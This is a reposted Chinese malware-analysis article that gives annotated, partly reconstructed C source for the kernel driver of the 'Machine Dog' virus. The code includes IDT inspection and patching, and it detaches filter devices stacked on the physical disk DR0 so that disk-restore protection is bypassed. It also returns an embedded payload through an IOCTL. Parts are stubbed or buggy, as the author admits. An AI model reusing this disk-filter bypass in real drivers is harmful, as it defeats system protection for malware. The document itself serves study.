您的位置:首页 > 编程语言

“机器狗”病毒驱动部分逆向分析注释(C代码)

2010-10-21 16:25 531 查看
创建时间:2008-03-13

文章属性:原创

文章提交:swords
(songbohr_at_163.com)

/*

标 题: 【原创】“机器狗”病毒驱动部分逆向分析注释(C代码)

作 者: dream2fly(QQ:838468959)

时 间: 2008.03.13 于深圳科技园

链 接; http://www.dream2fly.net

版 本: 1.0

【软件名称】: 机器狗(病毒)

【下载地址】: http://www.dream2fly.net
或 自己搜索下载

【加壳方式】: 未知壳

【编写语言】: MASM

【使用工具】: IDA

【操作平台】: win2003

【软件介绍】: 穿透冰点型带驱动病毒

【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

*/

#include <ntddk.h> // various NT definitions

#define IOCTL_MYDEV_BASE 0xF000

#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME "//Device//Harddisk0//DR0"

#define NT_DEVICE_NAME "//Device//PhysicalHardDisk0"

#define DOS_DEVICE_NAME "//DosDevices//PhysicalHardDisk0"

PDEVICE_OBJECT g_DR0_DeviceObject;

PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;

VOID* g_ResData;

SIZE_T g_ResDataSize;

typedef struct _idtr

{

//定义中断描述符表的限制,长度两字节;

short IDTLimit;

//定义中断描述服表的基址,长度四字节;

unsigned int IDTBase;

}IDTR,*PIDTR;

typedef struct _idtentry

{

//中断执行代码偏移量的底16位;

unsigned short OffsetLow;

//选择器,也就是寄存器;

unsigned short Selector;

//保留位,始终为零;

unsigned char Reserved;

//IDT中的门的类型:包括中断门,陷阱门和任务门;

unsigned char Type:4;

//段标识位;

unsigned char SegmentFlag:1;

//中断门的权限等级,0表示内核级,3表示用户级;

unsigned char DPL:2;

//呈现标志位;

unsigned char Present:1;

//中断执行代码偏移量的高16位;

unsigned short OffsetHigh;

}IDTENTRY,*PIDTENTRY;

#define HOOKINTID_09 9 //NPX Segment Overrun

#define HOOKINTID_0E 0x0E //Page Fault

VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址

{

int INT_09_Address_High8;

int INT_0E_Address_High8;

unsigned long OldISR_09;

unsigned long OldISR_0E;

//保存IDT入口的基地址和限制信息的数据结构;

IDTR idtr;//store interrupt descript table register. to idtr

//记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;

PIDTENTRY IdtEntry;

//汇编指令sidt,获取IDT入口信息;

__asm sidt idtr

//赋予IDT基地址值;

IdtEntry = (PIDTENTRY)idtr.IDTBase;

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用

OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);

INT_09_Address_High8 = OldISR_09&0x0FF000000;

/*

这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???

有知道的大侠告诉我dream2fly(QQ:838468959)

sub eax, eax

jz short FunctionExit

难道是?

if (INT_09_Address_High8 == 0)

return;

*/

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;

OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);

INT_0E_Address_High8 = OldISR_0E&0x0FF000000;

if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK

{

//关中断

__asm cli

IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?

//开中断

__asm sti

}

}

/*

通过搜索地址来查找自己的加载地址

查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中

*/

VOID* SearchSelf()

{

VOID* pSelfImage = NULL;

VOID* pCurAddr = NULL;

VOID* pTmpAddr = NULL;

// loc_40045F:这个取当前地址用C怎么写?

//028 lea ebx, loc_40045F

//028 and ebx, 0FFFFFC00h

//pSelfImage如何取?

while(MmIsAddressValid(pSelfImage))

{

if ((unsigned long)pSelfImage <= 0x80000000)

return NULL;

if (RtlEqualMemory(pSelfImage, "MZ", 2))

{

pCurAddr = pSelfImage;

pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);

(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);

if (!MmIsAddressValid(pCurAddr))

return NULL;

if (RtlEqualMemory(pCurAddr, "PE", 2))

return pSelfImage;

}

(unsigned long)pSelfImage -= 0x400;//-1024K

}

return NULL;

}

SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)

{

// 有空再补上:)

return 0;

}

//

// Device driver routine declarations.

//

NTSTATUS

DriverEntry(

IN OUT PDRIVER_OBJECT DriverObject,

IN PUNICODE_STRING RegistryPath

);

NTSTATUS

CommonDispatch(

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp

);

VOID

Unload(

IN PDRIVER_OBJECT DriverObject

);

NTSTATUS

DriverEntry(

IN OUT PDRIVER_OBJECT DriverObject,

IN PUNICODE_STRING RegistryPath

)

{

NTSTATUS ntStatus;

CHAR* pResData = NULL;

ANSI_STRING SourceString;

PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object

UNICODE_STRING SymbolicLinkName;

UNICODE_STRING DeviceName;

VOID* pSelfImage;

PDEVICE_OBJECT cur_device_object;

PDEVICE_OBJECT next_device_object;

CheckIdt();

pSelfImage = SearchSelf();

if (pSelfImage == NULL)

return -1;

g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);

if (g_ResDataSize == 0)

{

return -1;

}

g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);

// 跳转到下条指令,延时 jmp short $+2

RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

DriverObject->DriverUnload = Unload;

DriverObject->MajorFunction[IRP_MJ_CREATE] =

DriverObject->MajorFunction[IRP_MJ_CLOSE] =

DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;

// 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替

RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);

RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);

RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);

RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

ntStatus = IoCreateDevice(

DriverObject, // Our Driver Object

0, // We don't use a device extension

&DeviceName,

FILE_DEVICE_NULL, // Device type

0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?

FALSE, // Not an exclusive device

&DeviceObject ); // Returned ptr to Device Object

if ( !NT_SUCCESS( ntStatus ) )

{

goto End;

}

ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

if ( !NT_SUCCESS( ntStatus ) )

{

cur_device_object = DriverObject->DeviceObject;

while (cur_device_object)

{

next_device_object = DeviceObject->NextDevice;

IoDeleteDevice(cur_device_object);

cur_device_object = next_device_object;

}

}

End:

RtlFreeUnicodeString(&DeviceName);

RtlFreeUnicodeString(&SymbolicLinkName);

return STATUS_SUCCESS;

}

VOID

Unload(

IN PDRIVER_OBJECT DriverObject

)

{

ANSI_STRING SourceString;

PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object

UNICODE_STRING SymbolicLinkName;

PDEVICE_OBJECT cur_device_object;

PDEVICE_OBJECT next_device_object;

if (g_ResData)

{

ExFreePool(g_ResData);

}

if (DriverObject)

{

RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);

RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

IoDeleteSymbolicLink(&SymbolicLinkName);

RtlFreeUnicodeString(&SymbolicLinkName);

cur_device_object = DriverObject->DeviceObject;

while (cur_device_object)

{

next_device_object = DeviceObject->NextDevice;

IoDeleteDevice(cur_device_object);

cur_device_object = next_device_object;

}

}

}

NTSTATUS

CommonDispatch(

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp

)

{

PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object

PFILE_OBJECT DRO_FileObject;

ANSI_STRING SourceString;

UNICODE_STRING DRO_DeviceName;

PIO_STACK_LOCATION irpSp;// Pointer to current stack location

NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success

ULONG inBufLength; // Input buffer length

ULONG outBufLength; // Output buffer length

Irp->IoStatus.Status = STATUS_SUCCESS;

Irp->IoStatus.Information = 0;

irpSp = IoGetCurrentIrpStackLocation( Irp );

inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;

outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

if(!inBufLength || !outBufLength)

{

ntStatus = STATUS_INVALID_PARAMETER;

goto End;

}

switch ( irpSp->MajorFunction )

{

case IRP_MJ_CREATE:

RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);

RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);

g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

//保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加

if (DRO_FileObject->DeviceObject->AttachedDevice)

{

g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;

DRO_FileObject->DeviceObject->AttachedDevice= NULL;

}

ObDereferenceObject(DRO_FileObject);

RtlFreeUnicodeString(&DRO_DeviceName);

break;

case IRP_MJ_CLOSE:

if (g_DR0_DeviceObject)

{

if (g_OldAttachedDeviceOfDR0)

{

g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;

}

}

break;

case IRP_MJ_DEVICE_CONTROL:

if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)

{

if (outBufLength < g_ResDataSize)

goto End;

// 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略

// 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是

// 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??

RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

Irp->IoStatus.Information = g_ResDataSize;

}

else

{

ntStatus = STATUS_INVALID_DEVICE_REQUEST;

}

break;

default:

//

// The specified I/O control code is unrecognized by this driver.

//

ntStatus = STATUS_INVALID_DEVICE_REQUEST;

break;

}

End:

//

// Finish the I/O operation by simply completing the packet and returning

// the same status as in the packet itself.

//

Irp->IoStatus.Status = ntStatus;

IoCompleteRequest( Irp, IO_NO_INCREMENT );

return ntStatus;

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: